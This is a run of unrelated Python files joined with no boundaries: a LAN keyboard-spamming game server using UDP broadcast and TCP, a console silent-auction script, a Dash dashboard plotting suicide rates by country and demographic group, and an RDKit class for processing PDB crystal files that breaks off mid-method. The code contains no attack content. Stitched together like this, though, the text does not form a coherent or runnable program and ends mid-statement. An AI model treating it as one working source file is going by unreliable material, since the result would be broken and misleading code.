import random
import socket
import time
from _thread import start_new_thread
from concurrent.futures import thread
from scapy.all import get_if_addr

class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKCYAN = '\033[96m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

def broadcast_message(server_udp, message):
    """
    The function send the UDP broadcast message to all the subnet
    :param server_udp: socket of server
    :param message: the message send to all the clients
    :return:
    """
    start = time.time()
    elapsed = 0
    while elapsed <= 10:  # within 10 sec
        end = time.time()
        elapsed = end - start

        if elapsed <= 10:
            time.sleep(1)  # send every sec
            server_udp.sendto(message, (get_if_addr('eth1'), 13117))  # broadcast to 'eth1' network

        else:
            break
    server_udp.close()

def accept_server_tcp(server_port):
    """
    get connection to the client who listen in the port
    :param server_port: the port number of the server
    :return:
    """

    clients = []
    server_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # bind the socket to a public host, and a well-known port
    server_tcp.bind((get_if_addr("eth1"), int(server_port)))
    server_tcp.listen(1)
    server_tcp.settimeout(10)

    # get the clients and save them in clients list
    while True:
        try:
            (conn, (ip, port)) = server_tcp.accept()
            client_name = conn.recv(1024).decode()
            clients.append((client_name, conn, (ip, port)))
        except:
            server_tcp.shutdown(socket.SHUT_RDWR)
            server_tcp.close()
            break

    # after collect all the players, start the game
    start_new_thread(start_game, (clients,))

def start_game(clients):
    """
    The function is responsible for managing the game
    :param clients: the players
    :return:
    """

    clients_name = []
    client_score = {}

    # get the player's name and division into two groups
    for client in clients:
        client_name = client[0].split('\n')[0]
        clients_name.append(client_name)
        client_score[client[1]] = [0, client_name]
    random.shuffle(clients_name)
    group_a = clients_name[:len(clients_name) // 2]
    group_b = clients_name[len(clients_name) // 2:]

    player_group_a = ""
    for name in group_a:
        player_group_a += '\n' + name
    player_group_b = ""
    for name in group_b:
        player_group_b += '\n' + name

    # send message the all the player - tell the groups
    message = "Welcome to Keyboard Spamming Battle Royale.\nGroup 1:\n==" + player_group_a + '\nGroup 2:\n==' + player_group_b
    message+="\nStart pressing keys on your keyboard as fast as you can!!"

    # any group play in different thread
    for client in clients:
        start_new_thread(game, (client[1], message, client_score,))
    time.sleep(10)

    # calculate the score of any group
    score_a = 0
    score_b = 0
    for client in client_score.keys():
        if client_score[client][1] in group_a:
            score_a = score_a + client_score[client][0]
        else:
            score_b = score_b + client_score[client][0]

    # send the result to the players
    message = "\n***************\nGame over!\n" + "Group 1 typed in " + \
              str(score_a) + " characters. Group 2 type in " + str(score_b) + " characters.\n"
    if score_a > score_b:
        message += "\nGroup1 wins" + "\nCongratulations to the winners" + "\n==" + player_group_a
    elif score_a < score_b:
        message += "\nGroup2 wins" + "\nCongratulations to the winners" + "\n==" + player_group_b
    else:
        message += "IT'S A DRAW"

    for client in clients:
        client[1].send(message.encode("utf-8"))
    for client in clients:
        client[1].close()

    print(f"{bcolors.ENDC}Game over, sending out offer requests... ")

    run_server()

def run_server():
    """
    The main function - is responsible for the operation of the game on the part of the server
    :return:
    """

    # init the server property
    server_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    server_port = "2024"
    server_name = str(get_if_addr("eth1"))

    # enable broadcasting mode
    server_udp.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)

    # create the message
    message = bytes.fromhex("feedbeef")
    message += bytes.fromhex("02")
    message += int(server_port).to_bytes(2, byteorder='big')

    print(f"{bcolors.OKBLUE}Server started, listening on IP address " + server_name)

    # make threads - charge the UDP connection and after 10 sec the TCP connection
    executor = thread.ThreadPoolExecutor(max_workers=2)
    broadcast_send = executor.submit(broadcast_message, server_udp, message)
    tcp_conn = executor.submit(accept_server_tcp, server_port)
    broadcast_send.result()
    tcp_conn.result()

    while True:
        time.sleep(500)
        continue

def game(client, message, client_score):
    """
    The function is responsible for sending the message
    about the start of the game to the participants,
    and receiving the number of clicks of each group
    :param client: player (client) in group A or B
    :param message: the message which tell the game start
    :param client_score: save the number of presses of the player
    :return:
    """
    client.send(message.encode("utf-8"))
    start = time.time()
    elapsed = 0

    client.settimeout(10)

    while elapsed <= 10:  # within 10 secs
        try:
            if client.recv(1024):
                client_score[client][0] += 1
                end = time.time()
                elapsed = end - start
        except:
            break

run_server()


import os
from art import logo

print(logo)

def find_highest_bidder(bidding_record):
  highest_bid = 0
  winner = ""
  # bidding_record = {"Angela": 123, "James": 321}
  for bidder in bidding_record:
    bid_amount = bidding_record[bidder]
    if bid_amount > highest_bid:
      highest_bid = bid_amount
      winner = bidder

  print(bids)
  print(f"The winner is {winner} with a bid of ${highest_bid}")

bids = {}
more_bidders = True

while more_bidders == True:
    name = input("What is your name?: ")
    bid = int(input("What is your bid?: $"))

    bids.update({name: bid})

    response = input("Are there more bidders? Type 'yes' or 'no': ")
    if response == "no":
        more_bidders = False
        find_highest_bidder(bids)
    elif response == "yes":
        os.system('cls||clear')


# # Importing Libraries

# ''' Visualization Libaries '''
import dash
import dash_core_components as dcc
import dash_html_components as html
from dash.dependencies import Input, Output
import plotly.graph_objs as go
import plotly.express as px
import datetime

''' Data / Other Libraries '''
import numpy as np
import pandas as pd
import os
import math
import json

''' Classes Defined below '''

plot_h, plot_w, plot_m = 432, 920, 0

class PlotlyVisualizations:
    ''' Class containing functions to create plots '''

    def world_map(self, df, x_col, y_col, label_col, color, chart_title):

        map_json = {

            'data': [go.Choropleth(
                locations=df[x_col],
                z=df[y_col],
                text=df[label_col],
                colorscale=color,
                autocolorscale=False,
                reversescale=False,
                marker_line_color='darkgray',
                marker_line_width=0.5,
                colorbar_title="Suicides per 100k people"
            )],

            'layout': go.Layout(
                # title_text=chart_title,
                # margin={'b': 40, 't': 50, 'r': 10},
                width=plot_w,
                height=plot_h,
                margin={'b': 0, 't': 0, 'r': 0, 'l': 0},
                clickmode='event+select',
                geo=dict(
                    showframe=False,
                    showcoastlines=False,
                    landcolor = 'rgb(230, 230, 230)',
                    showland = True,
                    # showcountries = True,
                )
            )
        }

        return map_json

    def boxplot(self, df, category=0, selected_countries={}):
        suicide_rates = df['total_suicide_rate'].to_numpy()
        countries, countries_u = df['country'].to_numpy(), set(df['country'].dropna().unique())

        if category == 0:
            groups = df['Region'].to_numpy()
        else:
            groups = df[category].to_numpy()

        fig = go.Figure()
        if category == 0:
            boxes, selected_countries_data = dict(), []
            for c, g, sr in zip(countries, groups, suicide_rates):
                if g in boxes:
                    boxes[g].append(sr)
                else:
                    boxes[g] = [sr]
                if c in selected_countries:
                    selected_countries_data.append(sr)

            add_selected_countries = False
            if len(selected_countries_data) > 1:
                add_selected_countries = True
                y_selected_countries = np.percentile(selected_countries_data, (5, 25, 25, 50, 75, 75, 95))
                x_selected_countries = ['Selected Countries']*7
        else:
            boxes, boxes_group = dict(), dict()
            for c, g, sr in zip(countries, groups, suicide_rates):
                if g in boxes:
                    boxes[g].append(sr)
                else:
                    boxes[g] = [sr]
                if c in selected_countries:
                    if g in boxes_group:
                        boxes_group[g].append(sr)
                    else:
                        boxes_group[g] = [sr]

        x, y = [], []
        for k, v in boxes.items():
            percentiles = np.percentile(v, (5, 25, 25, 50, 75, 75, 95))
            y.extend(list(map(str, percentiles)))
            x.extend([k]*7)
        if category != 0 and len(selected_countries) > 0:
            x_group, y_group = [], []
            for k, v in boxes_group.items():
                percentiles = np.percentile(v, (5, 25, 25, 50, 75, 75, 95))
                y_group.extend(list(map(str, percentiles)))
                x_group.extend([k]*7)

        # Add traces
        if category == 0:
            if add_selected_countries:
                x = np.concatenate((x, x_selected_countries))
                y = np.concatenate((y, y_selected_countries))
            fig.add_trace(go.Box(
                x = x,
                y = y,
                boxpoints = False,
                marker_color='rgb(178,10,28)'
            ))
        else:
            if len(selected_countries) > 0:
                fig.add_trace(go.Box(
                    x = x,
                    y = y,
                    boxpoints = False,
                    name='All Countries',
                    marker_color='rgb(178,10,28)'
                ))
                fig.add_trace(go.Box(
                    x = x_group,
                    y = y_group,
                    boxpoints = False,
                    name='Selected Countries',
                    marker_color='rgb(245,160,105)'
                ))
            else:
                fig.add_trace(go.Box(
                    x = x,
                    y = y,
                    boxpoints = False,
                    marker_color='rgb(178,10,28)'
                ))

        fig.update_layout(
            yaxis_title='Suicides per 100k people',
            boxmode='group', # group together boxes of the different traces for each value of x
            width=plot_w,
            height=plot_h,
            margin={'b': 0, 't': 0, 'r': 0},
        )
        # fig.update_traces(orientation='v')

        return fig

    def scatter_plot(self, df, x_col, y_col, category_filter, label_col, chart_title, x_label):
        regions_trace_list = []
        for i in df[category_filter].unique():
            df_by_region = df[df[category_filter] == i]
            regions_trace_list.append(go.Scatter(x=df_by_region[x_col],
                                             y=df_by_region[y_col],
                                             text=df_by_region[label_col],
                                            #  mode='markers' if label_col == 'Region' else 'lines+markers',
                                             mode='markers',
                                             opacity=0.7,
                                             marker={
            'size': 10,
            'line': {'width': 1, 'color': 'white'}
        },
            name=i,
            ))

        scatter_json = {
            'data': regions_trace_list,
            'layout': go.Layout(
                # title_text=chart_title,
                xaxis={'title': x_label},
                yaxis={'title': 'Suicides per 100k people'},
                showlegend=True,
                hovermode='closest',
                transition={'duration': 500},
                width=plot_w,
                height=plot_h,
                margin={'t': 0, 'r': 0},
            )
        }

        return scatter_json

    def parallel_coordinates(self, df, color, labels, exclude=[], exclude_cat=[], select_cat=0, chart_title='Parallel Coordinates'):
        countries = df['country'].to_numpy()
        regions, regions_u = df['Region'].to_numpy(), list(df['Region'].dropna().unique())
        ages, ages_u = df['age'].to_numpy(), list(df['age'].dropna().unique())
        genders, genders_u = df['sex'].to_numpy(), list(df['sex'].dropna().unique())
        income_groups, income_groups_u = df['IncomeGroup'].to_numpy(), list(df['IncomeGroup'].dropna().unique())

        unemp = df['total_unemployment_rate'].to_numpy()
        life_expectancy = df['life_expectancy'].to_numpy()
        suicide_rates = df['total_suicide_rate'].to_numpy()

        age_order = ['5-14 years', '15-24 years', '25-34 years', '35-54 years', '55-74 years', '75+ years']
        income_groups_oder = ['High income', 'Upper middle income', 'Lower middle income']
        ages_u = [age for age in age_order if age in ages_u]
        income_groups_u = [income_group for income_group in income_groups_oder if income_group in income_groups_u]
        regions_u.sort()
        genders_u.sort()

        dimensions = []
        try:
            dimensions.append({
                'range': [int(life_expectancy.min()), int(math.ceil(life_expectancy.max()))],
                'label': 'Life expectancy (year)',
                'values': life_expectancy
            })
        except:
            pass
        try:
            if len(genders_u) > 1:
                dimensions.append({
                    'range': [-1.5, len(genders_u)-1+1],
                    'tickvals': list(range(len(genders_u))),
                    'ticktext': genders_u,
                    'label': "Gender",
                    'values': ordered_encoding(genders, genders_u)
                })
        except:
            pass
        try:
            if len(regions_u) > 1:
                dimensions.append({
                    'range': [0, len(regions_u)-1],
                    'tickvals': list(range(len(regions_u))),
                    'ticktext': regions_u,
                    'label': "Region",
                    'values': ordered_encoding(regions, regions_u)
                })
        except:
            pass
        try:
            if len(income_groups_u) > 1:
                dimensions.append({
                    'range': [-1.5, len(income_groups_u)-1+1],
                    'tickvals': list(range(len(income_groups_u))),
                    'ticktext': income_groups_u,
                    'label': "Income group",
                    'values': ordered_encoding(income_groups, income_groups_u)
                })
        except:
            pass
        try:
            dimensions.append({
                'range': [0, int(math.ceil(unemp.max()))],
                'label': 'Unemployment rate (%)',
                'values': unemp
            })
        except:
            pass
        try:
            if len(ages_u) > 1:
                dimensions.append({
                    'range': [0, len(ages_u)-1],
                    'tickvals': list(range(len(ages_u))),
                    'ticktext': ages_u,
                    'label': "Age",
                    'values': ordered_encoding(ages, ages_u)
                })
        except:
            pass
        dimensions.append({
            'range': [suicide_rates.min(), suicide_rates.max()],
            'label': 'Suicides per 100k people',
            'values': suicide_rates
        })

        color_values = suicide_rates.copy()
        if exclude:
            color_values = np.where(np.isin(countries, exclude), color_values, -100)
        if exclude_cat:
            if select_cat == 0:
                if exclude_cat[0] in regions_u:
                    print(0, select_cat, exclude_cat)
                    color_values = np.where(np.isin(regions, exclude_cat), -100, color_values)
                else:
                    print(1, select_cat, exclude_cat)
                    color_values = np.where(np.isin(countries, exclude_cat), -100, color_values)
            elif select_cat == 'age':
                color_values = np.where(np.isin(ages, exclude_cat), -100, color_values)
            elif select_cat == 'sex':
                color_values = np.where(np.isin(genders, exclude_cat), -100, color_values)
            elif select_cat == 'IncomeGroup':
                color_values = np.where(np.isin(income_groups, exclude_cat), -100, color_values)

        cmax = int(math.ceil(suicide_rates.max()))
        cmin = cmax - cmax/0.990
        fig = go.Figure(data=
            go.Parcoords(
                line = dict(
                    color = color_values,
                    colorscale=[
                        [0, 'rgb(230,230,230)'],
                        [0.01, 'rgb(230,230,230)'],
                        [0.01, 'rgb(255, 244, 238)'],
                        [0.2, 'rgb(245,195,157)'],
                        [0.4, 'rgb(245,160,105)'],
                        [1, 'rgb(178,10,28)']
                    ],
                    showscale = True,
                    cmin = cmin,
                    cmax = cmax
                ),
                dimensions = dimensions
            ),
            layout = dict(
                width=plot_w,
                height=plot_h,
                # margin={'b': 10, 't': 10, 'r': 10, 'l': 10}
            )
        )

        return fig

class DataPreperation:
    ''' Class containing functions which do the data preparation related tasks'''

    def __init__(self):
        self.path = os.getcwd()
        self.dataset_path = os.path.join(
            self.path, 'merged_suicide_rates_dataset.csv')
        self.suicide_rates_df = pd.read_csv(self.dataset_path)

    def get_df_complete(self):
        df_complete = self.suicide_rates_df
        df_complete['year'] = df_complete['year'].astype(
            str)
        df_complete['year'] = pd.to_datetime(
            df_complete['year'])
        df_complete['year'] = df_complete['year'].apply(
            lambda x: int(x.year))
        df_complete['life_expectancy'] = df_complete.apply(
            lambda row: row['male_life_expectancy_years'] if row['sex'] == 'male' else row['female_life_expectancy_years'],
            axis=1
        )
        return df_complete

    def get_unique_values(self, df):
        columns = ['year', 'country', 'country_code', 'Region', 'sex', 'age', 'IncomeGroup']
        return {col: df[col].dropna().unique() for col in columns}

    def agg_data_scatter_plot(self, df_input, select_y_axis, select_x_axis, select_category, country_list):
        df = df_input.copy()
        if country_list is None or country_list == []:
            if select_x_axis != 'year':
                if select_category != 0:
                    df = df.groupby(['Region', select_category]).agg(
                        {select_y_axis: sum, select_x_axis: 'mean', 'population': sum}).reset_index()
                else:
                    df = df.groupby(['Region']).agg(
                        {select_y_axis: sum, select_x_axis: 'mean', 'population': sum}).reset_index()
                df['total_suicide_rate'] = df['suicides_no'] / df['population'] * 100000
            else:
                if select_category != 0:
                    df = df.groupby(['Region', select_x_axis, select_category]).agg(
                        {select_y_axis: sum, 'population': sum}).reset_index()
                else:
                    df = df.groupby(['Region', select_x_axis]).agg(
                        {select_y_axis: sum, 'population': sum}).reset_index()
                df['total_suicide_rate'] = df['suicides_no'] / df['population'] * 100000
        else:
            df = df[df['country'].isin(country_list)]
            if select_x_axis != 'year':
                if select_category != 0:
                    df = df.groupby(['country', 'country_code', select_category]).agg(
                        {select_y_axis: sum, select_x_axis: 'mean', 'population': sum}).reset_index()
                else:
                    df = df.groupby(['country', 'country_code']).agg(
                        {select_y_axis: sum, select_x_axis: 'mean', 'population': sum}).reset_index()
                df['total_suicide_rate'] = df['suicides_no'] / df['population'] * 100000
            else:
                if select_category != 0:
                    df = df.groupby(['country', 'country_code', select_x_axis, select_category]).agg(
                        {select_y_axis: sum, 'population': sum}).reset_index()
                else:
                    df = df.groupby(['country', 'country_code', select_x_axis]).agg(
                        {select_y_axis: sum, 'population': sum}).reset_index()
            df['total_suicide_rate'] = df['suicides_no'] / df['population'] * 100000
        return df

def agg_data_world_map(df_input):
    df = df_input.copy()
    df = df.groupby(['country', 'country_code']).agg({'suicides_no': sum, 'population': sum}).reset_index() #'Region', 'IncomeGroup'
    df['total_suicide_rate'] = df['suicides_no'] / df['population'] * 100000

    return df

def agg_data_parallel_coordinates(df_input):
    df = df_input.copy()
    df = df.dropna(
        subset=['age', 'sex', 'Region', 'country', 'country_code', 'suicides_no', 'population', 'life_expectancy', 'gdp_per_capita ($)', 'total_unemployment_rate'],
        how='any',
        axis=0
    )
    df = df.groupby(
        ['age', 'sex', 'Region', 'country', 'country_code', 'IncomeGroup']
    ).agg({
        'suicides_no': sum,
        'population': sum,
        'life_expectancy': 'first',
        'gdp_per_capita ($)': 'first',
        'total_unemployment_rate': 'first'
    }).reset_index()
    df['total_suicide_rate'] = df['suicides_no'] / df['population'] * 100000

    return df

def agg_data_boxplot(df_input, select_x_axis='Region', country_code=None):
    df = df_input.copy()
    df['total_suicide_rate'] = df['suicides_no'] / df['population'] * 100000

    df = df[['country', select_x_axis, 'sex', 'age', 'IncomeGroup', 'total_suicide_rate']]

    return df

def ordered_encoding(array, order):
    y = list(order)
    return [y.index(x) for x in array]

# Create class objects
plotly_obj = PlotlyVisualizations()
data = DataPreperation()

# Call class functions
start_year = 1991
end_year = 2016
df_complete = data.get_df_complete()
unique_values = data.get_unique_values(df_complete)
label_dict = {'year':'Year', 'gdp_per_capita ($)': 'GDP per capita ($)', 'HDI for year':'Human Development Index', 'female_to_male_labor_rate':'Female to male labor rate', 'male_life_expectancy_years':'Male life expectancy', 'female_life_expectancy_years':'Female life expectancy', 'total_unemployment_rate':'Unemployment Rate (%)'}

''' Layout Code '''
external_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']

app = dash.Dash(__name__, external_stylesheets=external_stylesheets)

app.layout = html.Div(
    [
        html.Div(
            [
                html.Div(
                    [
                        html.Div(
                            [
                                html.Div(
                                    [
                                        html.H1(
                                            children='Suicide Analysis',
                                            style={
                                                'fontSize': 32,
                                                'textAlign': 'center'
                                            }
                                        )
                                    ],
                                )
                            ],
                            className='row'
                        ),
                        html.Div(
                            [
                                html.Div(
                                    [
                                        dcc.Dropdown(
                                            id='select_x-axis',
                                            options=[
                                                {'label':'Year', 'value':'year'},
                                                {'label':'GDP per capita ($)', 'value':'gdp_per_capita ($)'},
                                                {'label':'Human Development Index', 'value':'HDI for year'},
                                                {'label':'Female to male labor rate', 'value':'female_to_male_labor_rate'},
                                                {'label':'Male life expectancy (y)', 'value':'male_life_expectancy_years'},
                                                {'label':'Female life expetancy (y)', 'value':'female_life_expectancy_years'},
                                                {'label':'Unemployment Rate (%)', 'value':'total_unemployment_rate'}
                                            ],
                                            value='year',
                                            multi=False,
                                            style={'fontSize': 12}
                                        )
                                    ],
                                    className='six columns',
                                ),
                                html.Div(
                                    [
                                        dcc.Dropdown(
                                            id='select_category',
                                            options=[
                                                {'label': 'Region', 'value': 0, 'disabled': False},
                                                {'label': 'Age', 'value': 'age', 'disabled': False},
                                                {'label': 'Gender', 'value': 'sex', 'disabled': False},
                                                {'label': 'Income Group', 'value': 'IncomeGroup', 'disabled': False}],
                                            value=0,
                                            multi=False,
                                            style={'fontSize':12}
                                        )
                                    ],
                                    className='six columns',
                                    id='dropdown-div'

                                )
                            ],
                            className='row'
                        ),
                    ],
                    className='three columns'
                ),

                html.Div(
                    [
                        html.Div(
                            [
                                html.P(
                                    'Region',
                                ),
                                dcc.Dropdown(
                                    id='filter_region',
                                    options=[
                                        {'label': option, 'value': option} for option in unique_values['Region']
                                    ],
                                    value=unique_values['Region'],
                                    multi=True,
                                    placeholder="Select a region",
                                    style={'fontSize': 12}
                                )
                            ],
                            # style={'border':'2px black solid'},
                            className='five columns'
                        ),
                        html.Div(
                            [
                                html.P(
                                    'Income Group',
                                ),
                                dcc.Dropdown(
                                    id='filter_ig',
                                    options=[
                                        {'label': option, 'value': option} for option in unique_values['IncomeGroup']
                                    ],
                                    value=unique_values['IncomeGroup'],
                                    multi=True,
                                    placeholder="Select an income group",
                                    style={'fontSize': 12}
                                )
                            ],
                            # style={'border':'2px black solid'},
                            className='three columns'
                        ),
                        html.Div(
                            [
                                html.P(
                                    'Age Group',
                                ),
                                dcc.Dropdown(
                                    id='filter_age',
                                    options=[
                                        {'label': option, 'value': option} for option in unique_values['age']
                                    ],
                                    value=unique_values['age'],
                                    multi=True,
                                    placeholder="Select an age group",
                                    style={'fontSize': 12}
                                )
                            ],
                            className='three columns'
                        ),
                        html.Div(
                            [
                                html.P(
                                    'Gender',
                                ),
                                dcc.Checklist(
                                    id='filter_gender',
                                    options=[
                                        {'label': option.title(), 'value': option} for option in unique_values['sex']
                                    ],
                                    value=unique_values['sex'],
                                    style={'fontSize': 12}
                                )
                            ],
                            className='one column'
                        ),
                    ],
                    className='nine columns'
                ),
            ],
            className='row'
        ),
        html.Div(
            [
                html.Div(dcc.RangeSlider(
                       id='range-slider',
                       min=start_year,
                       max=end_year,
                       value=[start_year, end_year],
                       marks={str(year): str(
                           year) for year in unique_values['year']},
                       ),
                       style={'width': '1500px',
                              'text-align': 'center', 'margin': 'auto'},
                       )
            ],
            style={'marginTop': '2px'},
            className='row'
        ),

        html.Div(
            [
                html.Div(
                    dcc.Graph(
                        id='world-map',
                        clickData=None,
                    ),
                    style={
                        'width': plot_w,
                        'margin-left': 960 - plot_w - int(plot_m//2),
                        'margin-right': plot_m,
                        'display': 'inline-block',
                        # 'border': '2px black solid'
                    }
                ),
                html.Div(
                    dcc.Graph(
                        id='parallel-coordinates',
                        figure=plotly_obj.parallel_coordinates(
                            df=agg_data_parallel_coordinates(df_complete),
                            color='total_suicide_rate',
                            labels={
                                'age': 'Age',
                                'sex': 'Gender',
                                'Region': 'Region',
                                'Population': 'Population',
                                'gdp_per_capita ($)': 'GDP per Capital ($)',
                                'total_suicide_rate': 'Suicides per 100k people'
                            }
                        )
                    ),
                    style={
                        'width': plot_w,
                        'display': 'inline-block',
                        # 'border': '2px black solid'
                    }
                )
            ],
            style={
                'display': 'inline-block'
            },
            className='row'
        ),
        html.Div(
            [
                html.Div(
                    dcc.Graph(
                        id='scatter-plot'
                    ),
                    style={
                        'width': plot_w,
                        'margin-left': 960 - plot_w - int(plot_m//2),
                        'margin-right': plot_m,
                        'display': 'inline-block',
                        # 'border': '2px black solid'
                    }
                ),
                html.Div(
                    dcc.Graph(
                        id='box-plot',
                        figure=plotly_obj.boxplot(
                            df=agg_data_boxplot(df_complete)
                        )
                    ),
                    style={
                        'width': plot_w,
                        'display': 'inline-block',
                        # 'border': '2px black solid'
                    }
                )
            ],
            style={
                'display': 'inline-block'
            },
            className='row'
        ),
        html.Div(id='intermediate-value', style={'display': 'none'})
    ],
)

@app.callback(
    Output('intermediate-value', 'children'),
    [
        dash.dependencies.Input('filter_region', 'value'),
        dash.dependencies.Input('filter_ig', 'value'),
        dash.dependencies.Input('filter_age', 'value'),
        dash.dependencies.Input('filter_gender', 'value'),
        dash.dependencies.Input('range-slider', 'value')
    ]
)
def clean_data(filter_region, filter_ig, filter_age, filter_gender, range_slider):
    df = df_complete.copy()
    df = df[
        (df['year'] >= range_slider[0]) &
        (df['year'] <= range_slider[1]) &
        (df['Region'].isin(filter_region)) &
        (df['IncomeGroup'].isin(filter_ig)) &
        (df['age'].isin(filter_age)) &
        (df['sex'].isin(filter_gender))
    ]

    return df.to_json(orient='split')

@app.callback(
    Output('dropdown-div', 'children'),
    [
        Input('select_x-axis', 'value'),
    ])
def update_type(value):
    if value != 'year':
        return dcc.Dropdown(
            id='select_category',
            options=[
                {'label': 'Region', 'value': 0, 'disabled': False},
                {'label': 'Age', 'value': 'age', 'disabled': True},
                {'label': 'Gender', 'value': 'sex', 'disabled': True},
                {'label': 'Income Group', 'value': 'IncomeGroup', 'disabled': True}],
            value=0,
            multi=False,
            style={'fontSize': 12}
        )
    else:
        return dcc.Dropdown(
            id='select_category',
            options=[
                {'label': 'Region', 'value': 0, 'disabled': False},
                {'label': 'Age', 'value': 'age', 'disabled': False},
                {'label': 'Gender', 'value': 'sex', 'disabled': False},
                {'label': 'Income Group', 'value': 'IncomeGroup', 'disabled': False}],
            value=0,
            multi=False,
            style={'fontSize': 12}
        )

@app.callback(
    dash.dependencies.Output('world-map', 'figure'),
    [
        dash.dependencies.Input('intermediate-value', 'children'),
        dash.dependencies.Input('range-slider', 'value')
    ]
)
def update_world_map(json, range_slider):
    df = pd.read_json(json, orient='split')
    df = agg_data_world_map(df)
    chart_title = f"Suicide Rate per 100k people ({range_slider[0]} - {range_slider[1]})"

    return plotly_obj.world_map(
        df, 'country_code', 'total_suicide_rate', 'country',
        [[0, 'rgb(255, 244, 238)'], [0.2, 'rgb(245,195,157)'], [0.4, 'rgb(245,160,105)'], [1, 'rgb(178,10,28)']],
        chart_title)

#
@app.callback(
    dash.dependencies.Output('scatter-plot', 'figure'),
    [
        dash.dependencies.Input('intermediate-value', 'children'),
        dash.dependencies.Input('select_x-axis', 'value'),
        dash.dependencies.Input('range-slider', 'value'),
        dash.dependencies.Input('select_category', 'value'),
        dash.dependencies.Input('world-map', 'clickData'),
        dash.dependencies.Input('world-map', 'selectedData'),
    ]
)
def update_scatter_plot(json, select_x_axis, range_slider, select_category, clickData, selectedData):
    country_list = []
    if selectedData != None:
        for i in range(len(selectedData['points'])):
            country_list.append(selectedData['points'][i]['text'])
        df = pd.read_json(json, orient='split')
        df = data.agg_data_scatter_plot(df, 'suicides_no', select_x_axis, select_category, country_list)
        chart_title = f"Suicide Rate per 100k people ({range_slider[0]} - {range_slider[1]})"
        if select_category == 0:
            select_category = 'country'
        if select_x_axis in label_dict:
            label = label_dict[select_x_axis]
        return plotly_obj.scatter_plot(df, select_x_axis, 'total_suicide_rate', select_category, 'country', chart_title, label)
    else:
        df = pd.read_json(json, orient='split')
        df = data.agg_data_scatter_plot(df, 'suicides_no', select_x_axis, select_category, None)
        chart_title = f"Suicide Rate per 100k people ({range_slider[0]} - {range_slider[1]})"
        if select_category == 0:
            select_category = 'Region'
        if select_x_axis in label_dict:
            label = label_dict[select_x_axis]
        return plotly_obj.scatter_plot(df, select_x_axis, 'total_suicide_rate', select_category, 'Region', chart_title, label)

@app.callback(
    dash.dependencies.Output('parallel-coordinates', 'figure'),
    [
        dash.dependencies.Input('intermediate-value', 'children'),
        dash.dependencies.Input('world-map', 'clickData'),
        dash.dependencies.Input('world-map', 'selectedData'),
        dash.dependencies.Input('scatter-plot', 'clickData'),
        dash.dependencies.Input('scatter-plot', 'selectedData'),
        dash.dependencies.Input('scatter-plot', 'restyleData'),
        dash.dependencies.Input('scatter-plot', 'figure'),
        dash.dependencies.Input('select_category', 'value')
    ]
)
def update_parallel_coordinates(json, clickData, selectedData, clickData_scat, selectedData_scat, extendData_scat, config_scat, select_category):
    df = pd.read_json(json, orient='split')
    country_list = []
    if selectedData != None:
        for i in range(len(selectedData['points'])):
            country_list.append(selectedData['points'][i]['text'])

    scat_data, exclude_cat = config_scat['data'], []
    for cat in scat_data:
        if 'visible' in cat and cat['visible'] == 'legendonly':
            exclude_cat.append(cat['name'])

    return plotly_obj.parallel_coordinates(
        df=agg_data_parallel_coordinates(df),
        color='total_suicide_rate',
        labels={
            'age': 'Age',
            'sex': 'Gender',
            'Region': 'Region',
            'Population': 'Population',
            'gdp_per_capita ($)': 'GDP per Capital ($)',
            'total_suicide_rate': 'Suicides per 100k people',
        },
        exclude=country_list,
        exclude_cat=exclude_cat,
        select_cat=select_category
    )

@app.callback(
    dash.dependencies.Output('box-plot', 'figure'),
    [
        dash.dependencies.Input('intermediate-value', 'children'),
        dash.dependencies.Input('select_category', 'value'),
        dash.dependencies.Input('world-map', 'clickData'),
        dash.dependencies.Input('world-map', 'selectedData')
    ]
)
def update_boxplot(json, category, clickData, selectedData):
    df = pd.read_json(json, orient='split')
    country_list = []
    if selectedData != None:
        for i in range(len(selectedData['points'])):
            country_list.append(selectedData['points'][i]['text'])

    return plotly_obj.boxplot(
        df=agg_data_boxplot(df),
        category=category,
        selected_countries=set(country_list)
    )

if __name__ == '__main__':
    app.run_server(debug=False)


# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

import argparse
import json
import os
from pathlib import Path

from rdkit import Chem
from rdkit import Geometry

from xchemalign import utils

class PDBXtal:
    def __init__(self, pdbfile, output_dir, biomol=None):
        self.pdbfile = pdbfile
        self.filebase = Path(pdbfile).stem
        self.output_dir = Path(output_dir)
        self.biomol = biomol
        self.non_ligs = json.load(open(os.path.join(os.path.dirname(__file__), "non_ligs.json"), "r"))
        self.apo_file = None
        self.apo_solv_file = None
        self.apo_desolv_file = None
        self.ligand_base_file = None
        self.smiles = None

    def validate(self):
        errors = 0
        if not self.pdbfile:
            print("PDB file not defined:")
            errors += 1
        if not os.path.isfile(self.pdbfile):
            print("PDB file not found:", self.pdbfile)
            errors += 1
        if self.biomol and not os.path.isfile(self.biomol):
            print("Biomol file not found:", self.biomol)
            errors += 1

        return errors

    def add_biomol_remark(self):
        """
        Add contents of biomol/additional text file to the _apo.pdb file.
        This results in re-writing the _apo.pdb file.
        """
        biomol_remark = open(self.biomol).read().rstrip() + "\n"

        f = self.apo_file
        with open(f) as handle:
            switch = 0
            header_front, header_end = [], []
            pdb = []
            for line in handle:
                if line.startswith("ATOM"):
                    switch = 1
                if line.startswith("HETATM"):
                    switch = 2
                if switch == 0:
                    header_front.append(line)
                elif (switch == 2) and not line.startswith("HETATM"):
                    header_end.append(line)
                else:
                    pdb.append(line)
            full_file = "".join(header_front) + biomol_remark + "".join(pdb) + "".join(header_end)
            with open(f, "w") as w:
                w.write(full_file)

    def create_apo_file(self, keep_headers=False):
        """
        Keeps anything other than unique ligands

        :param: pdb file
        :returns: created XXX_apo.pdb file
        """
        lines = ""
        if keep_headers:
            include = ["CONECT", "SEQRES", "TITLE", "ANISOU"]
        else:
